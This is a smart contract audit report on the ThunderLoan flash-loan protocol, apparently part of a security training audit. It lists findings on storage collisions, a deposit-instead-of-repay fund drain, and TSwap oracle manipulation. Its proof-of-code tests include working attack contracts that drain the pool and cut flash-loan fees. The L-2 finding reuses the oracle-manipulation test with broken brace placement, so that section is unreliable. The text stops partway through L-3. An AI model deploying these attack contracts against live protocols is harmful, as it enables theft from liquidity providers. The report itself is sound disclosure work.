ThunderLoan Audit Report

Version 1.0

Cyfrin.io

February 13, 2026

ThunderLoan Audit Report

fervidflame

February 13, 2026

Prepared by: fervidflame Lead Auditors: fervidflame

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

The protocol is planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract.

Disclaimer

The fervidflame team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Table 1: We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

- In scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Table 2: List and quantity of severities.

Severity	Number of issues found
High	4
Medium	2
Low	6
Info	7
Gas	4
Total	23

Findings

High

[H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```

uint256 private s_feePrecision;

uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```

uint256 private s_flashLoanFee; // 0.3% ETH fee

uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts; in addition, removing storage variables for constant variables, breaks the storage location as well.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Concept (Proof of Code):

Proof of Code

1. Acquire the fee before the upgrade
2. Deploy ThunderLoanUpgraded.sol
3. Upgrade to new implementation
4. Acquire the fee after the upgrade
5. Assert

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Add the following code to the `ThunderLoanTest.t.sol` file.

```

// You'll need to import `ThunderLoanUpgraded` as well

import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.

function testUpgradeBreaks() public {

uint256 feeBeforeUpgrade = thunderLoan.getFee();

vm.startPrank(thunderLoan.owner());

ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();

thunderLoan.upgradeTo(address(upgraded));

uint256 feeAfterUpgrade = thunderLoan.getFee();

assert(feeBeforeUpgrade != feeAfterUpgrade);

}
```

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
- uint256 private s_flashLoanFee; // 0.3% ETH fee
- uint256 public constant FEE_PRECISION = 1e18;
```

```

+    uint256 private s_blank;

+    uint256 private s_flashLoanFee;

+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: By calling the deposit function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds.

Impact: This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds.

Proof of Concept (Proof of Code): 1. Attacker executes a `flashloan` 2. Borrowed funds are deposited into `ThunderLoan` via a malicious contract's `executeOperation` function 3. `Flashloan` check passes due to check vs starting AssetToken Balance being equal to the post deposit amount 4. Attacker is able to call `redeem` on `ThunderLoan` to withdraw the deposited tokens after the flash loan as resolved.

Add the following to ThunderLoanTest.t.sol and run `forge test --mt testUseDepositInsteadOfRepayTo`

Proof of Code

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {

uint256 amountToBorrow = 50e18;

DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));

uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

vm.startPrank(user);

tokenA.mint(address(dor), fee);

thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");

dor.redeemMoney();

vm.stopPrank();

assert(tokenA.balanceOf(address(dor)) > fee);
```

```

}

contract DepositOverRepay is IFlashLoanReceiver {

ThunderLoan thunderLoan;

AssetToken assetToken;

IERC20 s_token;

constructor(address _thunderLoan) {

thunderLoan = ThunderLoan(_thunderLoan);

}

function executeOperation(

address token,

uint256 amount,

uint256 fee,

address, /*initiator*/

bytes calldata /*params*/

)

external

returns (bool)

{

s_token = IERC20(token);

assetToken = thunderLoan.getAssetFromToken(IERC20(token));

s_token.approve(address(thunderLoan), amount + fee);

thunderLoan.deposit(IERC20(token), amount + fee);

return true;

}

function redeemMoney() public {

```

```
uint256 amount = assetToken.balanceOf(address(this));

thunderLoan.redeem(s_token, amount);

}

}
```

Recommended Mitigation: ThunderLoan could prevent deposits while an AssetToken is currently flash loaning.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {

+   if (s_currentlyFlashLoaning[token]) {

+       revert ThunderLoan__CurrentlyFlashLoaning();

+   }

AssetToken assetToken = s_tokenToAssetToken[token];

uint256 exchangeRate = assetToken.getExchangeRate();

uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
    exchangeRate;

emit Deposit(msg.sender, token, amount);

assetToken.mint(msg.sender, mintAmount);

uint256 calculatedFee = getCalculatedFee(token, amount);

assetToken.updateExchangeRate(calculatedFee);

token.safeTransferFrom(msg.sender, address(assetToken), amount);

}
```

[H-3] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does, which incorrectly sets the exchange rate and blocks liquidity providers from redeeming their provided liquidity.

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the **`deposit`** function updates this rate without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {

AssetToken assetToken = s_tokenToAssetToken[token];

uint256 exchangeRate = assetToken.getExchangeRate();

uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
    exchangeRate;

emit Deposit(msg.sender, token, amount);

assetToken.mint(msg.sender, mintAmount);

@> uint256 calculatedFee = getCalculatedFee(token, amount);

@>  assetToken.updateExchangeRate(calculatedFee);

token.safeTransferFrom(msg.sender, address(assetToken), amount);

}
```

Impact: There are several impacts to this bug.

1. The **`redeem`** function is blocked, because the protocol thinks the amount to be redeemed is more than the token balance in the protocol.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept (Proof of Code): 1. LP deposits 2. User takes out a flash loan 3. It is now impossible for LP to redeem

Proof of Code

Place the following into ThunderLoanTest.t.sol:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {

uint256 amountToBorrow = AMOUNT * 10;

uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
    amountToBorrow);

tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

vm.startPrank(user);

thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
    amountToBorrow, "");

vm.stopPrank();

uint256 amountToRedeem = type(uint256).max;

vm.startPrank(liquidityProvider);

thunderLoan.redeem(tokenA, amountToRedeem);

}
```

Recommended Mitigation: Remove the incorrect updateExchangeRate lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {

AssetToken assetToken = s_tokenToAssetToken[token];

uint256 exchangeRate = assetToken.getExchangeRate();

uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
    exchangeRate;

emit Deposit(msg.sender, token, amount);

assetToken.mint(msg.sender, mintAmount);

- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);

token.safeTransferFrom(msg.sender, address(assetToken), amount);

}
```

[H-4] `ITSwapPool::getPriceOfOnePoolTokenInWeth` uses the TSwap price which doesn't account for decimals and currency, also fee precision is 18 decimals

Description: `ThunderLoan::getCalculatedFee` returns the `fee` that is charged to borrowers who need a flash loan. In this function, it uses function `getPriceOfOnePoolTokenInWeth` to calculate the value of the borrowed token, by multiplying the borrowed token amount to its value in WETH. The price in WETH does not share the same currency as the borrowed token and the same amount of decimals as the amount of borrowed token and `s_feePrecision`, which are 18 decimal places. Therefore, the `fee` is incorrect and inaccurate.

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view
        returns (uint256 fee) {

        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
            (token))) / s_feePrecision;
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

Moreover, in `ThunderLoan::flashloan`, the `fee` is being used to check if the user re-paid the flash loan back to the protocol.

```
function flashloan(...)
        ...
    {

        ...

        uint256 endingBalance = token.balanceOf(address(assetToken));
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee,
                endingBalance);
        }
    }
```

The `startingBalance` and `endingBalance` variables are token balances for our underlying token, before and after the flash loan is transferred and repaid, respectively. These variables are not converted to WETH at any time and a `fee` in WETH is added to `startingBalance` in a conditoinal to assess if the flash loan has been paid back. Therefore, the conditional is inaccurate.

Impact: The protocol will not have an accurate way to calculate flash loan fees and assess if a borrower re-paid their flash loan in full. In addition, the borrower is paying inaccurate flash loan fees.

Medium

[M-1] Using TSwap as price oracle in `OracleUpgradeable::getPriceInWeth` leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). In an AMM, the price of a token is determined by how many reserves are on either side of the liquidity pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically lose interest on the liquidity they provided to the protocol, which was the incentive for them to do so in first place.

Proof of Concept (Proof of Code): The following all happens in 1 transaction. User takes a flash loan from `ThunderLoan` for 50 `tokenA`. They are charged the original fee `feeOne`. During the flash loan, they do the following: 1. User sells 50 `tokenA` at the TSwap Protocol for WETH. This will drastically alter the token ratio of the pool, tanking the price of WETH to tokenA. (Before the swap: 1 tokenA = 1 WETH. After the swap: 1 tokenA = 0.1 WETH) 2. Instead of repaying right away, the user takes out another flash loan for another 50 `tokenA`. 3. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {

address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);

@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
    ();

}
```

Add the following to ThunderLoanTest.t.sol.

Proof of Code

To begin writing our test we'll have to set up some contracts, we should begin with adding these additional imports:

```
import { ERC20Mock } from "../mocks/ERC20Mock.sol";

import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";

import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";

import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";

import { IERC20 } from "../../lib/openzeppelin-contracts/contracts/
    token/ERC20/IERC20.sol";
```

```
function testOracleManipulation() public {
        // 1. Setup contracts - we can't use the BaseTest.t.sol bc it
            has the bad mocks, which aren't as verbose as we
        // need them to be

        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
                // we are passing the implementaton contract address to
                    the proxy
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        // Create a TSwap Dex between WETH/ TokenA and initialize
```

```
            Thunder Loan
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf)); // initializing the
            Thunderloan contract with the Pool factory address

        // 2. Fund TSwap by using a liquidity provider
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        // Deposit liquidity into TSwap (not Thunderloan) using
            liquidity providers
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
            timestamp);
        vm.stopPrank();
        // By depositing everything our ratio is going to be 100 WETH :
             100 TokenA therefore, the price is 1:1 .

        // 3. Fund ThunderLoan - ThunderLoan needs to be funded with
            tokens to be borrowed
        // ThunderLoan needs to have allowed our tokens.
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // Now fund the Thunderloan protocol by using a liquidity
            provider
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();
        // At this point we should have:
        // 100 WETH : 100 TokenA  in TSwap
        // 1000 TokenA in ThunderLoan

        // 4. Execute 2 flash loans
        //     4a. Nuke the price of the weth/tokenA on TSwap
        // Step 1 fpr 4a: Take out a flash loan of 50 tokenA
        // Step 2 for 4a: Swap it on the Dex. This will drastically
            alter the token ratio of the pool (tokenA is now at 150
            tokens), which then alters the price of weth per that
            pookToken.
        //     4b. Take ANOTHER flash loan of 50 tokenA from
            Thunderloan and the fee will be cheaper due to the new ratio
             of WETH to tokenA, which is around 80 to 150

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
            100e18);
        console2.log("Normal fee cost for borrowing 100 tokenA:",
            normalFeeCost, "WETH");
        // Normal fee is 0.296147410319118389 WETH for 100 tokens

        // 4. Execute 2 Flash Loans

        uint256 amountToBorrow = 50e18; // amount of tokenA the user will flashloan
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
            address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
        ); // remember, we repay the loan to the assetToken.sol
        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); // the executeOperation function of flr will
        // actually call flashloan a second time.
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console2.log("Attack Fee is:", attackFee);
        assert(attackFee < normalFeeCost);
    }

    contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;
    // We want this contract to do the following:
    // 1. Swap borrowed TokenA for WETH
    // 2. Take out a second flash loan to compare fees

    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress; // assetToken.sol address, where we need to repay the loan to
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        /*initiator*/ // we don't care about these two params
        bytes calldata /*params*/
    )
```

```
        external
        returns (bool)


    {
        if (!attacked) {
            // 1. swap borrowed TokenA for WETH
            // 2. Take out a second loan to compare fees
            feeOne = fee;
            attacked = true;
            // params for `getOutputAmountBasedOnInput` are (amount of
                tokenA we want to swap, current tokenA reserves
            // in the pool, current WETH reserves in the pool)
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve((address(tswapPool)), 50e18);
            // params for `swapPoolTokenForWethBasedOnInputPoolToken`
                are (amount of tokenA we want to swap for WETH,
            // minimum amount of WETH we want to receive (for slippage)
                , deadline)
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
            // Now, this tanks the price: the ratio of WETH to tokenA
                was 1:1. now after this swap, the ratio is 150
            // tokenA : 50 WETH, which means the price of WETH in terms
                 of tokenA has increased, and the price of tokenA
            // in terms of
            // WETH has decreased.

            // Takes second identical flash loan; we are basically re-
                entering the same function `executeOperation`, but
            // this time `attacked` is true, so we skip the attack code
                 and just calculate the fee for the second flash
            // loan, which should be cheaper due to the price
                manipulation we did on TSwap.
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");
            // repay first flash loan
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );

            // thunderLoan.repay(IERC20(token), amount + fee);

            // We repay the flash loan via transfer since the repay
                function won't let us! Bc in the repay function: The
            // first flash loan a user executes is going to complete,
                setting s_currentlyFlashLoaning[token] to false,
            // which means any subsequent repayment attempts won't
                acknowledge that subsequent flash loans have been
            // taken! That's why the two lines of code above are
                commented out.

            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay the loan
            feeTwo = fee;
            // repay second flash loan
            // IERC20(token).approve(address(thunderLoan), amount + fee);

            // thunderLoan.repay(IERC20(token), amount + fee);

            // We repay the flash loan via transfer since the repay function won't let us! Bc in the repay function: The
            // first flash loan a user executes is going to complete, setting s_currentlyFlashLoaning[token] to false,
            // which means any subsequent repayment attempts won't acknowledge that subsequent flash loans have been
            // taken! That's why the two lines of code above are commented out.

            IERC20(token).transfer(address(repayAddress), amount + fee);
        }

        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] Blacklisted or non-standard ERC20 tokens can permanently freeze the protocol in `AssetToken::transferUnderlyingTo`

Description: If the underlying ERC20 token implements blacklisting or transfer restrictions, calls to `transferUnderlyingTo` may revert when the protocol attempts to transfer funds to a blacklisted address. Since this function is required for core protocol operations and is callable only by `ThunderLoan`, a revert would block execution and effectively freeze the protocol's ability to move underlying assets.

```
function transferUnderlyingTo(address to, uint256 amount) external onlyThunderLoan {
     i_underlying.safeTransfer(to, amount);
}
```

Low

[L-1]: Privileged Owner Role Introduces Trust Assumptions.

Description: The `ThunderLoan` contract assigns critical administrative privileges to a single owner address. Specifically, the owner can:

- Modify the token allowlist via `setAllowedToken`
- Authorize implementation upgrades via `_authorizeUpgrade`

```
File: src/protocol/ThunderLoan.sol

223: function setAllowedToken(IERC20 token, bool allowed)
         external onlyOwner returns (AssetToken);

261: function _authorizeUpgrade(address newImplementation)
         internal override onlyOwner { }
```

Because upgrade authorization is restricted to the owner, the protocol operates under a centralized upgrade model. The correctness and safety of future implementations therefore depend on the owner's discretion and key security.

This is not a code defect, but rather an architectural trust assumption.

Impact: The protocol's security guarantees are contingent upon:

- The owner acting in good faith
- The owner's private key remaining uncompromised
- Upgrades being reviewed and deployed responsibly

If the owner key were compromised, an attacker could authorize a malicious implementation or alter protocol configuration.

Users must therefore trust the administrative authority behind the protocol.

Recommended Mitigation: Depending on the intended governance model, the following measures may reduce risk:

- Transfer ownership to a multisig wallet to reduce single-key exposure.
- Introduce a timelock mechanism for upgrade and configuration changes.
- Publish a transparent upgrade policy and review process.
- Clearly disclose the upgrade authority model in documentation.

If centralized control is intentional (e.g., during early-stage development), explicitly documenting this trust model improves transparency for users and integrators.

[L-2] `ThunderLoan::repay` cannot be used to repay a flash loan during a nested flash loan

Description: The ThunderLoan protocol does not support repaying a flash loan while another flash loan for the same token is active.

When `ThunderLoan::flashloan` is called, `s_currentlyFlashLoaning[token]` is set to `true` immediately before the loaned funds are transferred to the borrower. Once the flash loan is fully repaid, this flag is reset to `false`.

However, in a nested flash loan scenario (i.e., a flash loan taken during the execution of another flash loan), the completion of the first flash loan will reset `s_currentlyFlashLoaning[token]` to `false`. As a result, when attempting to repay the second flash loan, the protocol no longer recognizes that a flash loan is active and reverts.

This behavior prevents the use of `ThunderLoan::repay` to correctly handle nested flash loan repayments for the same token.

Here are the sequence of events: 1. First flash loan sets flag → `true` 2. Second flash loan sets flag → `true` 3. First flash loan repays → flag set to `false` 4. Second flash loan tries to repay → it reverts

```
  function repay(IERC20 token, uint256 amount) public {
@>        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

Impact: Borrowers cannot successfully repay flash loans when flash loans are nested for the same token. This limits composability and may cause otherwise valid flash loan flows to revert, potentially breaking integrations that rely on nested flash loan patterns.

Proof of Concept (Proof of Code):

Proof of Code

Add the following in ThunderLoanTest.t.sol:

To begin writing our test we'll have to set up some contracts, we should begin with adding these additional imports:

```
import { ERC20Mock } from "../mocks/ERC20Mock.sol";

import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";

import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";

import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";

import { IERC20 } from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
```

```
function testOracleManipulation() public {
        // 1. Setup contracts - we can't use the BaseTest.t.sol bc it has the bad mocks, which aren't as verbose as we
        // need them to be

        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
                // we are passing the implementaton contract address to the proxy
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf)); // initializing the Thunderloan contract with the Pool factory address

        // 2. Fund TSwap by using a liquidity provider
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        // Deposit liquidity into TSwap (not Thunderloan) using liquidity providers
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();
        // By depositing everything our ratio is going to be 100 WETH : 100 TokenA therefore, the price is 1:1 .

        // 3. Fund ThunderLoan - ThunderLoan needs to be funded with tokens to be borrowed
        // ThunderLoan needs to have allowed our tokens.
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // Now fund the Thunderloan protocol by using a liquidity provider
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();
        // At this point we should have:
        // 100 WETH : 100 TokenA  in TSwap
        // 1000 TokenA in ThunderLoan

        // 4. Execute 2 flash loans
        //     4a. Nuke the price of the weth/tokenA on TSwap
        // Step 1 fpr 4a: Take out a flash loan of 50 tokenA
        // Step 2 for 4a: Swap it on the Dex. This will drastically alter the token ratio of the pool (tokenA is now at 150 tokens), which then alters the price of weth per that pookToken.
        //     4b. Take ANOTHER flash loan of 50 tokenA from Thunderloan and the fee will be cheaper due to the new ratio of WETH to tokenA, which is around 80 to 150

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console2.log("Normal fee cost for borrowing 100 tokenA:", normalFeeCost, "WETH");
        // Normal fee is 0.296147410319118389 WETH for 100 tokens

        // 4. Execute 2 Flash Loans

        uint256 amountToBorrow = 50e18; // amount of tokenA the user will flashloan
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
            address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
        ); // remember, we repay the loan to the assetToken.sol
        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); // the executeOperation function of flr will
        // actually call flashloan a second time.
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console2.log("Attack Fee is:", attackFee);
        assert(attackFee < normalFeeCost);
    }

    contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;
    // We want this contract to do the following:
```

```
    // 1. Swap borrowed TokenA for WETH
    // 2. Take out a second flash loan to compare fees

    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress; // assetToken.sol address, where we need to repay the loan to
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        /*initiator*/ // we don't care about these two params
        bytes calldata /*params*/
    )
        external
        returns (bool)


    {
        if (!attacked) {
            // 1. swap borrowed TokenA for WETH
            // 2. Take out a second loan to compare fees
            feeOne = fee;
            attacked = true;
            // params for `getOutputAmountBasedOnInput` are (amount of tokenA we want to swap, current tokenA reserves
            // in the pool, current WETH reserves in the pool)
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve((address(tswapPool)), 50e18);
            // params for `swapPoolTokenForWethBasedOnInputPoolToken` are (amount of tokenA we want to swap for WETH,
            // minimum amount of WETH we want to receive (for slippage), deadline)
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
            // Now, this tanks the price: the ratio of WETH to tokenA was 1:1. now after this swap, the ratio is 150
            // tokenA : 50 WETH, which means the price of WETH in terms of tokenA has increased, and the price of tokenA
            // in terms of
            // WETH has decreased.

            // Takes second identical flash loan; we are basically re-entering the same function `executeOperation`, but
            // this time `attacked` is true, so we skip the attack code
```

```
                     and just calculate the fee for the second flash
                // loan, which should be cheaper due to the price
                    manipulation we did on TSwap.
                thunderLoan.flashloan(address(this), IERC20(token), amount,
                     "");
                // repay first flash loan
                IERC20(token).approve(address(thunderLoan), amount + fee);

                thunderLoan.repay(IERC20(token), amount + fee);
            } else {
                // calculate the fee and repay the loan
                feeTwo = fee;
                // repay second flash loan
                IERC20(token).approve(address(thunderLoan), amount + fee);
                thunderLoan.repay(IERC20(token), amount + fee);
            return true;
        }
}
```

Recommended Mitigation: Track active flash loans using a counter or depth-tracking mechanism rather than a boolean flag. Increment the counter when a flash loan begins and decrement it upon repayment. If the transaction reverts before decrementing, reverts auto-rollback state in Solidity; so the increment never "sticks" if execution fails. The protocol should consider a flash loan active as long as the counter is greater than zero. This ensures nested flash loans are handled correctly and prevents valid repayments from reverting due to lost execution context.

Replace with a depth counter At storage level:

```
-    mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;

+ mapping(IERC20 => uint256) s_flashLoanDepth;
```

Update `Thunderloan::flashLoan` logic (annotated)

```
function flashloan {
              .
              .
              .

-           s_currentlyFlashLoaning[token] = true;
+         // increment instead of setting a boolean
+         s_flashLoanDepth[token] += 1;
          assetToken.transferUnderlyingTo(receiverAddress, amount);

    uint256 endingBalance = token.balanceOf(address(assetToken));
          if (endingBalance < startingBalance + fee) {
              revert ThunderLoan__NotPaidBack(startingBalance + fee,
                  endingBalance);
```

```
        }
-        s_currentlyFlashLoaning[token] = false;
+       // decrement instead of resetting
+       assert(s_flashLoanDepth[token] > 0);
+       s_flashLoanDepth[token] -= 1;
}
```

Update repay function

```
function repay(IERC20 token, uint256 amount) public {
-    if (s_flashLoanDepth[token] == 0) {
-        revert ThunderLoan__NotCurrentlyFlashLoaning();
+    if (s_flashLoanDepth[token] == 0) {
+        revert ThunderLoan__NotCurrentlyFlashLoaning();
    }
    AssetToken assetToken = s_tokenToAssetToken[token];
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[L-3]: Initializer Functions May Be Front-Run If Not Atomically Executed.

Description: Upgradeable contracts rely on initializer functions in place of constructors. If a proxy contract is deployed without atomically executing its initializer, an attacker may front-run the initialization transaction and gain control of the contract.

Although this risk depends on the deployment process, failure to initialize the contract within the same transaction as proxy deployment can allow unauthorized parties to permanently compromise administrative control.

The `ThunderLoan` contract exposes an external `initialize()` function protected by the initializer modifier:

```
function initialize(address tswapAddress) external initializer {
    __Ownable_init();
    __UUPSUpgradeable_init();
    __Oracle_init(tswapAddress);
}
```

Because this function is externally callable, it can be invoked by any address until it has been successfully executed once.

If the proxy contract is deployed without passing the encoded initializer call in the same transaction, a malicious actor observing the mempool could front-run the intended initialization and:

- Assign themselves ownership via `__Ownable_init()`
- Obtain upgrade authority under the UUPS pattern.

- Set malicious or incorrect dependency addresses.
- Permanently prevent the legitimate deployer from initializing the contract

The `OracleUpgradeable` initializer is also reachable through the same initialization flow:

```
function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing
```

